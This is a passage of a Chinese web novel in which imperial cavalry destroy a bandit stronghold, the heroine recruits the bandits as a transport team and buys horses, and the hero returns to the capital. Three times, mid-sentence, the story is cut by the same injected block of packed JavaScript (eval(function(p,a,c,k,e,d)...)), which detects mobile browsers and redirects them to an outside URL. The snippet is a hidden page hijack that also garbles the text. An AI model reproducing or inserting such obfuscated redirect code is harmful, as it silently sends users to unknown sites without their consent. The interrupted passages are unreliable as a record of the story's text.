王奇前脚刚带人走了,探子来报:“二哥,官兵们距离寨们只有五里地了。” “听我号令行事,不许妄动。”程业玄带着人往西面走,西面是寨子的中心位置,他就是要把士兵们都引过来,然后利用山里的地形打游击战,尽量把时间往后拖一拖,给东边的人更多的逃生机会。 骁骑军不愧是经过战场洗礼的精英士兵,杀的山匪们节节后退。 山匪们被飕飕的箭矢压制的毫无还手之力,此消彼长,山匪们的进攻减弱了,将士们的气势大涨。所幸程业玄早已让人在林间布置了绊马索,这才延缓了骑兵的追击,程业玄趁机带人躲进了山寨里。 王奇大喊:“让兄弟们严防死守,不得让他们靠近寨门。” 一旦寨们被攻破,他们的下场也就可想而知之了。 王奇艰难的咽了口唾沫:“二哥,怎么办?那些官兵就要追上来了!” 还能怎么办?当然是保命要紧! 官兵们有备而来,山匪们死伤不少,再加上之前已经离开了一部分人,现在已经支撑不住了,程业玄当即命令道:“叫兄弟们撤! 然而,在撤退的时候,漫天的利箭如雨一般射了过来。 嗖!嗖!嗖! 忽然有人大喊:“是箭雨!快隐蔽,所有人隐蔽!” 然而已经晚了,箭雨密集,惨叫声传来,一个个山匪被射中倒了下去。 箭支刺破空气,射中了程业玄的肩膀。 “大当家!” “快撤,大当家中箭了!” 山匪们凄惨的喊声在林中响起。 “快逃啊,我们完了!” “不好,大当家中箭了,大家快逃!” 骁骑军与官府派的官兵是分两边行动的,官兵们不曾经参与骁骑军的正规训练,轻率加入战队反而容易坏事。 罗振海麾下的五百精兵是先发部队,骑兵步兵们冲在前头杀敌,他们都是久经沙场的战士,不知战胜过多少强敌,区区山匪有岂是他们的对手。 官府派出的五百官兵则在山林间不停的来回巡视,堵断山匪们的逃散之路。 程业玄确实是中箭了,不过伤的不是紧要之处,他本有机会避开箭矢,但还是咬紧牙演了这场戏。 傅知乔说得对,如果黑虎寨选择不战而退,会被官府认为避开锋芒,保存实力,伺机卷土重来。加上罗振海将军亲自出马,可见官府剿匪的决心,他们不会绝给黑虎寨喘息的机会,只有与他们大战一番,然后惨败退走才能让官府放下戒心,不再赶尽杀绝。 每一步都被她算准了。 正因为傅知乔提前通知了,程业玄听她的话做了一定的布置,才有这么多的人逃出来,不然黑虎寨的伤亡会更惨重些。 程业玄知道,若是真的正面跟骁骑军打起来,黑虎寨的损失必定不止如此。 山匪失去领头人,此后,便是骁骑军单方面的碾压表演了。 “将军,我们还追吗?” 罗振海看到一群胡乱逃窜的山匪,他们首领中箭生死未卜,山匪们已经元气大伤不成气候,“穷寇莫追,我们去寨子里看看。” 他此行的目的不是杀光所有的山匪,而是灭了黑虎寨。 山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221385|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匪是人,人是杀不尽的,而寨子灭一个就少一个,山匪们要想重新组建一个山寨也不是件容易的事情。 罗振海带着士兵直捣黑虎寨,到达寨子里时却发现山匪们已经逃窜走了,士兵们里里外外搜刮了一遍,最后却没有搜出什么财宝,最后放了一把火把黑虎寨给烧了。 士兵们很不屑:“山匪们都是些贪生怕死之人,他们肯定知道打不过咱们,带着钱财逃跑了。” “哈哈,咱们骁骑军所到之处,敌人哪次不是闻风丧胆。” 掀瓦拆房,火光冲天,黑虎寨顷刻间湮灭了。 一把火烧了寨子还不止,罗振海派人守住下山的路,以免有漏网之鱼。 * 大火烧到第二天早上才熄灭。 李文康知道消息后大喜,唯一遗憾的是没有找到黑虎寨抢来的财宝。 不过,能拿到剿匪的功绩也很好了。 庆功宴上,李文康主动敬酒:“骁骑军果然如传言中那样勇猛,都是罗将军领导有方,今日剿匪下官必定会如实上奏朝廷,将罗将军的功绩告诉天下人。” 酒过三巡,气氛融洽。 罗振海笑容满满面:“大人为了青州百姓鞠躬尽瘁,我等深感敬佩。” 因为黑虎寨的惨败,让青州的其他的势力都非常收敛,不再敢随意生事。 燕山再无山匪威胁,百姓们也恢复了正常的生活。 几日后,程业玄找到傅知乔。 他是只身一人来的,黑虎寨被毁,其余人无处可去暂时跑到了别的山头隐藏了。 风波渐渐平息下去,他就立即来找傅知乔兑现承诺了。 傅知乔见到他丝毫不感到意外,“大当家决定好了?” 程业玄有点好奇:“你为什么会选择我?” 用人不疑,疑人不用,傅知乔没什么好担心的。程业玄能为金飞虎一个承诺而留在黑虎寨这么久,就已经证明他是一个信守承诺之人。 傅知乔头也没抬,“江湖上大名鼎鼎的鬼罗刹,为什么甘心窝在山上做山匪呢?” 上次在黑虎寨见面时,傅知乔注意到了程业玄的手,他的双手有常年握持刀剑的老茧,这可不是一般平民会有的,其中必有隐情,回来后就找人画了画像去调查他。 程业玄是江湖上赫赫有名的杀手,代号鬼罗刹。 他武功高强,杀人如麻,只要你出的起价,他就能帮你解决麻烦。有一次他成功暗杀目标后,那个雇主仗着自己有点势力就胁迫程业玄为自己办事,程业玄一怒之下杀了他。 而后就过上了被仇家追杀的日子,他在一次斗争中失去踪迹,江湖上有传闻说他早就死了,谁会想到他还好好活着,并且当了山匪头子呢。 程业玄一面无表情,“我不知道你在说些什么。” “听不懂没关系,寨子里原先那群人依旧算你的人,不过,从今天起你就是我的人了。 “这个世界其实是不公平的,有的人出身就是锦衣玉食,有的人却在泥泞里挣扎,现在有一个挣脱泥潭的机会,相信你不会错过的。”傅知乔说着,递给他一张卖身契。 傅知乔已经不称呼他为大当家了。 “不过丑话说在前头,做我的人就要听我的话,要是有不从的……” 剩下未说出口的话彼此都懂。 程业玄紧皱的眉头舒展开来,或许这真的是一个好机会。 51. 运输队伍 骁骑军可以说是不费吹灰之力就灭了黑虎寨,虽然过程中有很多的山匪被“吓跑”了。 谢卓以为傅知乔只是去招揽程业玄一个人的,没想到她这么大胆,居然把上百号山匪全部都招揽下来。 谢卓怀疑自己是不是助纣为虐了。 “我招安山匪也算好事一件啊!避免了一场生死之战,最大程度减轻双方的伤亡难道不是好事吗?” 谢卓不可置否,骁骑军在此次剿匪中只有十几人受伤,且都无性命之忧。 敌人覆灭而我军只有轻伤,这种战绩在任何时候都很能拿得出手,尽管谢卓承认傅知乔那套说法有那么一点道理,但还是对他的世界观造成了很大的冲突。 傅知乔看他这幅模样也有点心虚,再三跟他保证了,自己不是引狼入室,一定会好好约束他们,不再出来为祸百姓。 “去恶向善,回头是岸,上天有好生之德,就当是给他们一次改过自新的机会吧!” 傅知乔还记得东觉大师跟她说过“行善积德,会有福报。”她不确定自己这种做法算不算行善积德,但因为她在中间起了作用,骁骑军和黑虎寨双方都没有重大的损失,避免了很多不必要的人员伤亡,某种程度上也算一件好事吧! 骁骑军在成功剿匪之后便回京了。 走之前,谢卓给她留了封书信,嘱咐她要看住那群山匪不要生事,要让她好好照顾自己,有什么事可以给他写信,还说自己一定会对她负责之类的话。 男女授受不亲,他都牵过人家的手、搂过人家的身子了,自然是要负起责任的。 谢卓心里甜丝丝的,他还想着等自己回京安顿好,便把她接过来护在自己的羽翼之下…… 傅知乔只当是一份简单的告别信,没有细想,因为她还有更重要的事情要做。 * 成立运输队伍是她很早的想法了。 大魏没有包运送的服务,她之前买粮食,买酒缸都是自己花钱找人运回来的。酒庄又是建在乡下,每次把酒运到城里要走四五十里路,每运一次货就要请一次镖师,这一笔笔花的钱不在少数。 她开的又是酒铺,买原料、进货、送货,对运输能力的需求又很大。 虽说成立了护卫队之后,他们帮忙分担了部分压力,可护卫队还要巡逻,有自己的本职工作要做。 太白酒的价格高,难保不会有人眼热做坏事。长期请镖师也很不划算,关于押镖的费用,任务划分,发生意外情况又要如何分责等等,她厌倦了将自己的命脉交到其他人手中的感觉。 现在太白酒铺的业务渐渐扩大,如果不能建立起自己的势力,那么她只能在方圆数十里的范围内发展,局限太大了,她的目标可不止在青州。 目前她手上的银子已经足以支撑运输队的开支,为了长远的打算,组建一支属于自己的货运队是很有必要的。 一个从车到人完全属于自己的运输队。 尤其成员还是山匪出身,都有一些身手,这大大加强了运输队对外的防御力,肯定不会有人敢打她货物的主意。 一劳永逸。 从程业玄那里得到答复后,傅知乔很快的动作起来,把庄园里那些荒地全部规划起来。 她相信程业玄,不代表她相信这群山匪。 傅知乔担心他们野性难改,亲自写下行为规范来约束他们,并且让程业玄去训练他们,要是有不守规矩的立即赶出去。 或许是程业玄说了什么,又或者他们误会骁骑军是傅知乔的靠山,山匪们对自己接下来要做的事接受良好,再也没有了先前的嚣张,一个个的比绵羊还要乖巧。 吃饱穿暖、脚踏实地永远比打打杀杀来的有意思。 收下这群山匪后,傅知乔也没闲着,立即拨款给他们建造房子,傅知乔并没有让他们住茅草房,建的是统一的木屋,在屋顶上铺瓦片的那种。 庄园里最不缺的就是地,收拾几块荒地出来建房子是轻而易举的事。 因为知道房子是给自己住的,所有人干起活来都很卖力。 既然要成立专业的运输队,马驹、运粮车是必不可少的。 运输队的马儿是她和程业玄亲自去马市上挑的。 青州是中原地带,并不是产马的地区,因而马匹在这里稀缺资源,市面上流通的马匹都是外地过来的。 马市上,一匹普通的马至少三十两银子起步,更别说军队里的战马了,真正的汗血宝马是有市无价的。 养马对环境是有要求的,饲养一匹好马需要很大的投入。 首先需要有开阔的场地让他门散步、奔跑,其次需要提供充足的草料和干净的水,除了基本的草料之外,还要准备一些大麦、燕麦等精细的饲料。 一匹年轻的马每天消耗的饲料大约在二十斤左右。 还要有专人洗刷马匹、清理马蹄,定时检查健康状况……总之养马消耗太大,一般养的起马的都是大户人家。 马市有不少的马贩子,马的质量也层次不齐,有膘肥体壮的也有病弱的老马,十分考验买马人的眼力。 马贩子看到两人走近,主动凑上去问:“这位小娘子可要买马?” 傅知乔点点头,她跟程业玄已经在马市上逛了半个时辰,还没有什么看中的。 马贩子热情的介绍着自己的马儿,“小娘子真有眼光,我这儿全是上等的好马,高大,强壮,尤其是跳跃和奔跑能力,那更是没话说啊!” 指着身后的一群马,马贩子很得意地说道:“怎么样?您仔细瞧瞧,现在年轻又健壮的马儿可不多见了。” 傅知乔顺眼看了过去,毛发油光发亮,四肢壮实修长,肌肉均布均匀,她暗自点点头,确实是好马! 她伸手抚摸了马背,马儿的感知力非常灵敏,感受到有人触摸,它不由地抬起前蹄,昂首嘶鸣。 力量大、反应快,傅知乔很满意。 程业玄作为专业人士,查看了马儿的牙齿:“没有超过三岁,拉车是没有问题的。” 那马贩子见他是个识马之人,立刻上前附和:“没错,我这都是年轻的马儿,您看这看这四肢,多结实啊!” 傅知乔问:“老板,你这马多少钱?” “六十两。” 她向程业玄抛去询问的眼神,程业玄微微点头,这些马是值这个价的。 傅知乔:“五十两卖不卖?” 一砍就砍十两银子?马贩子一噎,暗中观察了傅知乔身上的所穿之物,都是上好的料子,也不是个穷人啊,怎么讲起价来这么狠呢? 程业玄也诧异的看了她一眼,似乎是没有想到她会讲价。 这么明显的眼神傅知乔哪里感知不到,她暗自翻了白眼,她有钱归有钱,谁会嫌弃自己钱多呢,能省就要省,日子要精打细算才能细水长流! 马贩子小声道:“小娘子可知,最近西北一带可不太平,前方战事吃紧,马儿紧缺,我这可都是良驹,值这个价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222125|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “买的多可否便宜些?” “小娘子想买多少?” “你这六匹马我全要了。” 马贩子眼前一亮,大顾客上门,“五十八两。” “五十二两。” “不行不行,再高点至少我不能亏本啊!”马贩子苦着脸。 “不行就算了,除了我还会有谁能一次性把你的马买光?”傅知乔看了他一眼,便淡淡地转过了脸去,似乎要去看别的马了。 “哎,小娘子别走啊!”马贩子着急了,他在马市上这么久,有很多人都看上了他的马,但最后都是因为价格问题都没有选择购买,他把目光投向程业玄,企图想让这个识马之人来认可他的价格。 程业玄除了在选马时说了几句话之外,其余时间都像个锯嘴葫芦。 看来做主的人是刚才那位小娘子,马贩子立即拍板:“看在两位诚心买马的份上,那就五十五两,不能再少了!” 马贩子一脸苦哈哈,这位小娘子莫名的给他很大的压力。 傅知乔作为经常上谈判桌的人,会砍价是她的基本的生存技能! 砍价的本质是买方和卖方的心理拉锯战。 比如,我方先抛出一个低价,去试探对方的底价,这样可以得知我方出的价格是否在对方的接受范围内,如果不在,那么我方就可以在低价上慢慢涨上去与对方谈判。 牢牢掌握主导权,才能让对方跟着你的节奏走! 这不,每一匹马她都砍下了五两银子。 一匹马五十五两银子,傅知乔一共买了六匹。 银杏跟在身后把钱付了。 两人买完马又拐弯去另一条街买了骡子。 相比较马而言,骡子就便宜多了,五两七两就能买到,骡子虽然跑不快但它的耐力强,买些回去在庄园里运点重物也是很好的。 马儿和骡子买了回来后交由专人打理,尤其是马儿,傅知乔为它们建了马厩,还配置了专门的养马人。 与此同时,程业玄在山匪内部也进行了选拔,武力强的、力气大的编入运输队里,剩下的人则按照能力,编入庄园里去开垦荒地,她还需要更多的土地来种高粱。 山匪们正式进入酒庄前,傅知乔还有任务要交给他们。 马上就到青梅的成熟季了,正好叫这群人去摘青梅。 青翠的青梅鲜果挂在枝头,散发出诱人的清香,沉甸甸的果实把树枝都压弯了腰。 一群人背着背篓穿梭在树下采摘,结在高处不易摘到的青梅,就用细长的竹竿往树枝上敲打,一颗颗圆润的青梅扑扑簌簌地落在地上。 摘青梅、装青梅、扛青梅,大伙儿各司其职,干的是热火朝天。 果园外的空地上搭了几个四面透风的草棚子,摘来的青梅在此分拣,个头小一些的或者被鸟儿啄食破坏的都淘汰掉,挑出各大饱满、品相好的青梅,再运回酒庄里去加工。 待到第一批青梅从果园里运过来的时候,青梅酒的生厂房里终于热闹了起来。 一群女工早已摩拳擦掌了。 摘下来的青梅先过一遍水,洗去表面的灰尘,再将一整筐的青梅沉入盐水中浸泡,淘洗好的梅子个个都带着亮晶晶的水珠,最后放在太阳底下晾干水分便算完成了。 后面的工序要进入厂房里秘密酿制,普通人没有资格进去。 一群曾经的山匪向女工投去羡慕的眼光,总有一天,他们也会成为自己人的。 52. 王府世子 因为在青州剿匪耽搁了几日,骁骑军需要快马加鞭赶往京城复命,车队进城时,旁边的百姓认出骁骑军的旗帜,纷纷停下脚步驻足观望。 京城的百姓消息自然是要灵通些的,他们交头接耳,小声议论:“骁骑军在外剿匪有功,圣上发话要重重赏赐呢。” “罗将军真汉子,太英武了!” “哈哈,听说骁骑军在青州把那群土匪吓得屁滚尿流了!” “那个小郎君是哪家的?长得可真俊呐!” 谢卓骑着一匹枣红色的汗血宝马跟在罗振海身后,晨曦辉映在他俊美的脸庞上,神情肃穆,眼底是看不透的深邃,整个人散发着天神般的威仪。 一进城就有人打听谢卓的消息了,年纪轻轻已是将军级别,要是能把自己女儿嫁给他就好了。 急匆匆赶路,骁骑军中所有人都风尘仆仆的自然不能直接进宫面圣,一行人在驿站急匆匆沐浴更衣更衣,等待圣上召见。 他们进宫时正好碰上文武百官下朝,看到罗振海和谢卓进宫纷纷上前恭喜。 护国将军蒋同浦镇守边疆,不在京城,现在朝堂上以罗振海为武官之首。谢卓虽然是骁骑军的副将,但这只是军中的职位,他在朝堂上是没有官职的,除开副将的身份他还是端亲王府的世子,所以周围也围了一圈朝臣主动跟他示好。 到了偏殿门口,太监见到他们赶忙进去通报。 “微臣见过陛下。”罗振海和谢卓对着皇帝齐齐行礼。 “爱卿免礼。” 当朝皇帝尊号承德,他第一个看向的就是美玉一般的谢卓。 好看的人无论在哪里都是引人注目的。 皇帝身穿褚黄色的龙袍,缂丝工艺织造出九条龙腾云的图案,贵气逼人。他五官端正,长相儒雅,看上去是个脾气温和的帝王,但眼里不经意流露出的精光让人神情一凛。 罗振海:“此番臣不负圣上所托,一举灭了江北土匪的老窝,还请圣上过目。”说着,他递上了功劳簿。 皇帝连说了三个好。 他早已接到奏折,骁骑军歼灭江北土匪一万六百余人,回京途中又在青州捣了山匪老窝,为四方百姓带去安宁,确实是大功一件。 “爱卿此行辛苦了,若朝中大臣皆如你们这般,那朕就能高枕无忧了。” “圣上过誉了,这都是臣应该做的,陛下宅心仁厚,体恤民情,实乃大魏之幸。” 皇帝哈哈大笑,“罗爱卿为朕平定匪乱,功不可没,还有谢卓,你没有辜负朕的期待……” 承德皇帝先是逐个表扬了罗振海和谢卓,接着又赏赐给骁骑军白银千两,布匹万两。 “谢陛下。” 皇帝对谢卓的语气十分亲近,一开始他没太指望这个侄儿能有多出色,接到前线的消息后他才知道谢卓的表现比他想象中的还要好。 江北剿匪时,多亏他带领骑兵成功偷袭,才让剿匪一事进行的如此顺利。 皇帝觉得这个侄儿有几分自己年轻时的风范,他脸上噙着淡淡的笑意,端亲王谢弛是个扶不起的阿斗,他儿子谢卓却是个难得的青年俊才。 皇帝的心思就是这么奇妙,你过于出色,他会担心你威胁到自己的地位,你整日吃喝玩乐,他就嫌弃你是个纨绔子弟,毫无建树。 谢家是正儿八经的皇亲国戚,按辈分来讲,谢卓要叫皇帝一声叔叔,他祖父谢和山和先帝两人同为皇子,是同父不同母的的兄弟。 当年夺嫡之战,谢和山并未搅合在其中而是支持先帝称帝,所以后来先帝成功上位后并没有对谢和山赶尽杀绝,赐了他亲王的身份,而其他两个参与皇位争夺的兄弟早已化作了一缕青烟。 虽然先帝在他的支持才顺利登上皇位,但谢和山心中清楚,同为皇室血脉的他对于皇帝来说始终是个威胁,在妻子先后生下儿子谢弛后,他便绝了再生孩子的心。 只有他这一脉子嗣单薄,才能减少皇帝的猜忌。 谢和山知情知趣,先帝在位时他尽心尽力辅佐,先帝死后,他也并没有以亲王的身份压制新皇,而是立马退位辞官,交出手中的权利,也正是因为此举才让他这一脉得以延续下来。 * 端亲王府早已知晓世子要回来的消息,早早就备好了茶水等待着。 “见过世子!”来往仆人婢女看到他皆恭恭敬敬的低头行礼。 谢卓先径直去了祖父谢和山的书房。 书房的小庭院里栽种了不少植物,绿意盎然,风移影动,颇有意境。 走进书房里就可以看到一整柜子的书,这还是谢和山常看的书,还有更多的藏书被锁进了库房里。书柜不远处还有一张巨大的红木博古架,上面摆放着玉器、陶瓷等各式各样的古董物件。 谢和山目光清正,年过半百依旧精神矍铄。他此时正坐在上首品着茶,揭开盖子热气蒸腾,茶香四溢,轻轻一嗅有种让人心神安宁的感觉。 谢卓恭敬地行礼,“祖父,孙儿回来了。” “坐吧。” 谢卓和他说了剿匪的情况和宫里的赏赐。 谢和山听说承德皇帝的只夸奖了孙子的剿匪功绩,并未说别的后才放下心来,他点点头表示知道了。 一开始谢和山还担忧,谢卓回京不知道会对京中的局势造成什么影响。尤其是在这个立太子的当口上,谢家绝不能有任何的轻举妄动,否则一个不小心就会将全家置身于万劫不复的境地。 “你知道我为何要将你送进骁骑军吗?” “孙儿知道。” 贵族世家手上的的权利,一直是皇权路上的绊脚石。 谢和山满意的点点头。 在朝堂上沉浮数十年,还亲历过夺嫡事件,他比任何人都清楚,有些事情一旦与皇权沾上关系,就会变得意味不同。 当年谢卓出生时,皇宫里还未生出皇子,为了避免皇帝多疑对谢卓起杀心,他忍痛以谢卓身子弱为由送去外地养病。所以,谢卓在六个月大的时候就被送到山上养着,直到四年后皇宫里陆续生出了皇子公主,谢和山才敢把人接回来。 人接回来后,过了几年宫里又要为皇子挑侍读,谢卓亲王之子的身份自然成了首位人选。谢和山再次面临选择,没办法,他只能再次把孙儿送走,让他去离京城几百里外的青州求学。 正是因为这样的童年经历,才导致了谢卓年少老成性格。 如今谢卓已经长大,皇子们也已长大,而承德皇帝也有四十多岁,朝中隐隐有了要皇帝早日立储的风声。谁也不知道太子的名头会落在哪个皇子身上,远离夺嫡的核心圈子,明哲保身才是上上之选,这也是谢和山着急把谢卓送入军营的原因。 小心驶得万年船。 近几年来,皇帝对世家贵族的势力愈发忌惮。 谢家作为如今的世族的代表人物,尤其是谢和山,他曾经无比接近过那个位置,此时更是不能掉以轻心。 纵观历史,王朝一直在更迭,而世家却能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234389|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矗立千年不倒。是因为世族们为了维持自身的地位,一直在招揽大量读书人作为幕僚,并想方设法的在朝中安插自己的人,通过姻亲血缘关系相互扶持,以此来保证自己的利益。 一代传一代,周而复始。 世家的底蕴是数千年积累下来的,他们主体为读书人,数量庞大,自称是名门望族,掌握着大量的财力、物力、人力,在民间拥有巨大的影响力。 世家的影响力越大,皇权的影响力就越小。 皇帝已经意识到了这点,并且对世家大族垄断仕途的现象感到厌恶。为何寒门难出贵子?因为世家贵族在知识文化方面,几乎做到了垄断。 世族公子在学习君子六艺,寒门学子却在担忧自己交不起束脩。 得不到好的文化教育,买不起四书五经,笔墨纸砚又属于贵重的消耗品,百姓们根本承担不起。能够进入学堂读书的学生家里多少是有些资产的,因为真正的贫民压根就买不起书本,他们连踏入学堂的资格都没有。 在这种条件下,寒门学子想出人头地,走向上流社会简直难如登天。 寒门学子的诗词念得再好,书法练的再工整,写不出好的策论依旧是白搭。 策论题目与国家社会、经济、军事、民生风气息息相关,主考官会根据当下的国情随机出题,考验的是考生们知识是否博学,应变能力是否灵活,是否具有治国安邦的才能。 除了基本的写作功底之外,考生满还需要努力揣摩主考官的心思,只有文章对了考官的胃口,才有机会高中上榜。然而,每个考官都有自己的喜好,哪怕你文采斐然,但文章风格不符合主考官的喜好和行文要求也不行。 科举之路看似是宽阔的,其实也是狭窄的。 寒窗苦读数十载,为的就是金榜题名的这一天。然而没有朝廷的人脉、没有大儒的教导、没有渠道了解时事,最后只能竹篮打水一场空。 一块蛋糕就那么大,名门世族将所有名额都占满,哪里还轮得到寒门子弟的头上? 那寒门还能出贵子吗? 能,但是极少。 能在这种情况下出头的都是凤毛麟角一般的存在,只有实力运气都到位的天选之子才有机会成为皇帝的心腹,成为皇帝手中的一把利剑与世族分庭抗礼。 皇帝为了遏制世族继续壮大下去,鼓励天下学子读书上进,把权力牢牢掌握在自己手中,通过殿试取士的方式来吸纳人才,选拔官员,凝聚天下所有寒门学子的力量以此来减少世族的威胁。 同时,随着皇权的巩固,世家大族的声望势必要背削弱。 “世族渐微,寒门必将崛起。” 谢和山早早认识到了这点,他急流勇退,远离权力中心,以此来保全谢家数代荣华。 谢和山致仕归家,可谢家的影响力依然在,虽然他退出了朝堂,但多年的经营也不是白费的,王府身后的枝节盘根错杂,牵一发而动全身。 当年承德皇帝新帝登基,一直忌惮这谢和山这个皇叔。 谢和山为了不让皇帝猜忌自己,一直没让儿子进入派系争夺,所以端亲王谢弛这么多年来一直是个闲散王爷的形象,地位尊贵,但并没有掌握实权。就连自己唯一的孙子也没有例外,他早早把谢卓安排到青州求学,就是为了防止皇室对他下手。 总之,越低调越安全。 爷孙两在书房谈了大半天,有了谢和山的指点,让谢卓对朝堂、对各方势力也有了更深的了解。 53. 讨她欢心 从谢和山书房出来已经申时三刻了,正式摆宴前,谢卓去跟父王母妃请安。 “整个人都瘦了一圈。”左慕蕊心疼极了。 端亲王谢驰淡淡道:“不当好士兵怎么能当好将领?他是去军中历练,又不是去享福的,身为谢家男儿是必须要经历磨炼的……” 谢卓一开始在骁骑军中当小兵训练了三月,因为他表现拔尖,一直当一个小兵也得不到什么历练的机会,谢和山便调动关系把他安排在大将军罗振海身边当个副将。 对于这个半空降的副将,很多人都不怎么服气,所以三天两头就有人找谢卓比武,结果自然是都被谢卓打回去了,渐渐的,就没人再质疑他了。 左慕蕊不想理会丈夫说的大道理,她就心疼儿子怎么了。 谢弛继续发问:“在骁骑军可有学到什么?” 见谢弛一板一眼,左慕蕊不乐意了:“怀砚才刚回来,正是累的时候,有什么话不能等到明天再说?” 谢卓表字怀砚,只有亲近之人会这么叫他。 谢卓回到自己的院子,下人立即为他准备好沐浴的汤水,换了身干净的衣服。 连日的赶路奔忙让他很快就睡了过去。 天蒙蒙亮谢卓就醒了,他在院子里练了半个时辰武,重新汗沐浴洗漱后出了门。 巳时,谢卓来到万香楼,孙立轩早已在雅间等着他了。 孙立轩是荣国公府的长子,与谢卓是好友,他身上一袭深蓝色长袍,头发高高束起,眉眼清俊,神色闲散淡然,透出一股子说不出的痞气。 孙立轩看到谢卓后,他站起身来拿起桌子的酒杯,“敬谢将军一杯!” 谢卓不理会他的调侃,掀帘而入,与他相对而坐。 孙立轩比谢卓大两岁,现在在锦衣卫中担任镇抚使一职,整个京城当属锦衣卫的消息最为灵通,他回忆了一下这些日子一来京城里发生的事情,然后细细与谢卓说了起来。 户部尚书家的公子喝酒后在街上闹事,还打伤了一个路人,此事被好多百姓当场目睹。贵公子打伤贫民,此事可太有爆点了,一穷一富分别代表着不同的阶层,导致坊间议论不休,最后还传到了宫中。 圣上知道后大发雷霆,斥责户部尚书治家不严,让他在家好好自省并且罚了两月俸禄。 户部尚书之子平时就飞扬跋扈,正好撞在枪口上了,结果牵连自己父亲又是禁足又是罚俸的,此事放在以往圣上最多是训斥他两句,根本不会有这么严厉的惩罚。 谢卓也是跟谢和山聊过才知道,祖父要他从小文武双修不是没有原因的,原来圣上早就看世族们不爽了。 谢卓端起茶喝了一口,把跟祖父谈话的结果跟孙立轩透露了两句。 聪明人说话都是点到即止。 孙立轩明白过来,当下也不讨论时事了。 谢卓从怀中掏出一个纯金的长命锁,“给二公子的礼物。” 孙立轩前不久喜得第二子,他笑的满面春风,“那我就替小子谢过世子爷了!” 说完他献宝似得拿出一坛酒。 “怀砚,今天你有口福了,我新得了一坛好酒,如此纯净的酒液我还是第一次见……” 孙立轩一提到酒话匣子就打开了,“这个太白酒是外地来的,十分难买,我托关系才买到两坛,我特地留了一坛等着你回来一起喝。” 谢卓听到太白酒还觉得耳熟,一看酒坛上的太白酒几个字顿时了然。 原来她酿的酒已经卖到京城了。 谢卓心里有几分骄傲,不过他并未表现出来,好友拿着好东西兴冲冲的与你分享,结果你来句我早就喝过了,岂不是扫兴。 “酒是好酒,不过可不能多喝。” “难道怀砚也听说过太白酒?这酒不止味道醇香浓烈,酒劲也很霸道。” 谢卓笑笑不说话。 两杯酒下肚,一股热流从喉咙流到腹中,孙立轩脸上的笑容越来越深,还开起了谢卓的玩笑:“怀砚打算何时成家?” 听到成家两个字,他就不由自主的想到了傅知乔,若是她成了自己的妻子…… 想想就让人开心。 孙立轩有些意外,谢卓没有如往常那样叫他闭嘴,而是一脸的笑意? 不对,有情况! 孙立轩挑起眉头,多看了几眼谢卓:“怀砚有心上人了?是哪家的女子?” 谢卓没有回答,他轻咳一声,问了孙立轩一个问题,“你说,女子收到什么礼物才会欢喜?” 谢卓之所以向孙立轩讨教这个问题是有原因的,孙立轩身为国公府的大公子,人又生的风流倜傥,是京城有名的风流人物!在他成婚前满京城都是他的红颜知己,所以在男女关系这件事上,问他准没错! “你……你刚刚说什么?” 孙立轩眼里是毫不掩饰惊讶,好似头上被人打了一棍似的直愣愣的看着谢卓,只说惊讶还不足以表达他的震惊,他眼珠子都快瞪出来了。 他没听错吧,谢卓居然问他怎样去讨女子欢心,太阳莫非是从西边出来了? “啧啧,没看出来啊,我们的世子爷也会有这一天。” “别贫。”谢卓看了一眼正在憋笑的孙立轩,脸上闪过一丝不自在。 谢卓还是头一遭问他怎么样去讨女孩子的欢心,孙立轩忍着笑咳嗽了一声。 “你先回答我的问题,是哪家的女子?”孙立轩大脑立即活泛起来,“这半年来你一直在外剿匪,没有在京城露过面,嗯,应该不是京城的女子……” 孙立轩自顾自猜测着,大有不把谢卓的话套出来他就不姓孙的架势。 谢卓无奈:“她确实不是京城人士,她家在青州。”说着,他指了指酒坛,“你喝的这酒就是她家的。” 什么?这么好喝的酒原来是出自青州,还是谢卓的心上人之手,但很快,孙立轩就反应过来了:“她是商户人家?” 谢卓点点头。 “你怎么与商户女扯上关系了?”谢卓居然为了一个商户女来请教自己,孙立轩劝他:“商户女纳回家当妾室应该不成问题,但是你若有别的想法还是趁早歇了吧!” 谢卓听不得傅知乔被贬低,皱眉:“你别管,你只要告诉方法就行。” “不行,我不能告诉你。” 孙立轩有些为难,国公府与端亲王府两家的关系一向融洽,要是被端亲王妃知道自己教谢卓去讨一个商家女的欢心,他以后的日子就别想有片刻的安宁了。 “你要是告诉我,以后太白酒想喝多少有多少。” 孙立轩:…… 卑鄙,居然用酒利诱他。 “你喝的这个太白酒,就是她酿出来的。”谢卓用眼神示意,“我回京前,她还在研发新酒,听说那是一种比太白酒更好的酒。” 